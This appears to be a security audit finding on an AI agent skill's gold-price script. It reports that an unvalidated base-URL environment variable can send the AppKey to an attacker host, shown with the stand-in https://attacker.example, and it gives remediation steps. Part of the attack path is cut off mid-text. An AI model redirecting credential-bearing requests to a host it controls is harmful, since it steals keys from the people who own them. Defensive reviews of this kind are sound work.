T09 · Insecure Skill Coding Practices
- Location
scripts/gold_wgc_query.py:23- Finding
Unrestricted API Base URL Override Can Disclose the AppKey
- Content
View full analysis
Vulnerability Details
File Location:
scripts/gold_wgc_query.py, lines 23 and 128–130
Vulnerability Type: Unrestricted endpoint configuration and credential disclosure
Risk Level: HighVulnerable Code
python API_BASE_URL = os.environ.get("JIKE_API_BASE_URL", "https://api.jikeapi.cn").rstrip("/")The configurable value is subsequently used to construct a request containing the AppKey:
python url = f"{API_BASE_URL}{API_PATH_MAP[command]}?{urllib.parse.urlencode({**params, 'appkey': appkey})}" try: with urllib.request.urlopen(url, timeout=15) as response: return json.loads(response.read().decode("utf-8"))Technical Analysis
The undocumented
JIKE_API_BASE_URLenvironment variable can replace the expectedhttps://api.jikeapi.cnorigin with an arbitrary URL. The script performs no validation of the URL scheme, hostname, port, embedded credentials, or destination address.The AppKey is included directly in the query string sent to the configured endpoint. Consequently, any party capable of influencing the process environment can redirect the request to an attacker-controlled server and capture the credential. A plaintext HTTP endpoint can also be selected, exposing the AppKey to network interception.
Because the returned JSON is trusted as the API response, a malicious endpoint can additionally supply fabricated gold-price data. Depending on network access available to the process, the configurable destination may also permit outbound requests to internal services, although the fixed API path is appended to the selected base URL.
Attack Path
- The attacker gains the ability to set or influence
JIKE_API_BASE_URLin the environment used to launch the skill. - The attacker assigns an endpoint under their control, such as
https://attacker.example. - A user or agent invokes the documented
latestorhistorycommand. - The script constructs a request such as `https://attacker.example/v ...[truncated 892 chars]
- The attacker gains the ability to set or influence
- Remediation
View remediation
Remediation Suggestions
- Remove the
JIKE_API_BASE_URLoverride in production and use a fixed HTTPS origin:
python API_BASE_URL = "https://api.jikeapi.cn"-
If endpoint overrides are required for testing, enable them only through an explicit test mode that cannot be activated in normal production execution.
-
Validate any permitted override using parsed URL components:
- Require the
httpsscheme. - Allow only explicitly approved hostnames.
- Reject embedded usernames or passwords.
- Reject unexpected ports.
- Reject fragments and preexisting query strings.
- Normalize and compare hostnames before sending credentials.
- Require the
-
Avoid placing secrets in query strings where the API supports an authorization header. Query parameters may be exposed in server, proxy, monitoring, or access logs.
-
Use separate, low-privilege test credentials for development endpoints and rotate any AppKey that may have been exposed through an untrusted override.
-
Document every supported security-sensitive environment variable so deployment reviewers can identify and restrict configuration that affects network destinations.
- Remove the
